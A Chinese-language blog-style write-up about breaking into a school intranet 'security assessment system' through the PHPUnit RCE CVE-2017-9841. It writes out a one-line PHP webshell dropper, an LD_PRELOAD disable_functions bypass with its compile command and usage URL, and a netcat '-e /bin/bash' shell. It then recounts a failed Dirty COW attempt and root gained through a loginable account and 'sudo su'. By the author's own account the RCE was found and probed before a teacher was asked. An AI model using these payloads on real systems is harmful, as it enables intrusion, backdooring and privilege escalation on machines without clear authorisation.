前言
昨晚,学校网络又准时断网了,闲来无事就看了看学校的内网
然后看到个"网络信息安全能力的测评系统"
然后就职业病犯了,随手查了查有无漏洞
然后发现是使用了 laravel框架, phpunit测试框架
最后发现是phpunit这里有个rce,为了保证安全,就问问老师是否可以深入
webshell获取
因为在和老师说之前,就发现了个phpunit框架的一个rce,cve-2017-9841
直接post个phpinfo过去试试水
然后就正常的走流程,上马
<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>');
按照流程走,接下来就是提权了,但是发现无法执行命令
然后发现disable_functions限制了很多函数
但是现在不要慌,之前在90sec就看到过一个表哥写的一篇文章:一次艰难的渗透提权过程
这篇文章里表哥提供了个思路:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD ,反正跟着走准没错.
主要的技术点就是
利用环境变量 LD_PRELOAD 劫持系统函数,
让外部程序加载恶意 .so,达到执行系统命令的效果。
以下是上文中提到的附件
php文件是需要上传到目标的执行命令的脚本,.c文件是未编译的文件
.so是编译后的
bypass_disablefunc_x64.so
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
bypass_disablefunc_x86.so
若目标为 x86 架构,需要加上 -m32 选项重新编译
我这里的是64的环境所以将bypass_disablefunc.php、bypass_disablefunc_x64.so上传
使用方法
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
这里就成功绕过了disable_functions限制
搞笑提权(失败)
拿到shell后,因为这里是通过绕过在web来执行命令,不太好操作就用nc来反弹个shell
目标机器:nc -lvp 2222 -e /bin/bash
攻击机器:nc ip(目标机器) 2222
直接尝试一波su root,当然是不行的,要是直接可以就没有这文章了
查看下版本,3.10.0-327,还是在脏牛的范围
直接脏牛走一波,一顿编译,一段操作
但是意外出现了,虽然这看起来好像不太对
下面是我的状况
这里是exp作者给的状况
满脸问号 ,我好像是直接退出来了,并且shell还给我整断了
查看下passwd文件,发现最后一次修改是18年,也就是说脏牛并没有替换成功
这时候就不行了,我就开始呼唤表哥来帮助我
然后表哥也是一顿操作,exp也是换了好几个
一顿长达半小时的操作力,还是提不下来
最终
这结束了?? 不会吧不会吧
正确的提权
经过了这么多的操作后还是没有提下来,本来以为没有希望了,再次查看passwd的时候发现
有个名为n**t的账号是可以登录的
就尝试一波su n**t,没想到的是过去了,但是权限还是这样
这时候就产生了个可怕的想法,直接sudo su
what ????
我以为这种情况只会在ctf的那种靶机里才会出现的....
对不起,是我太菜了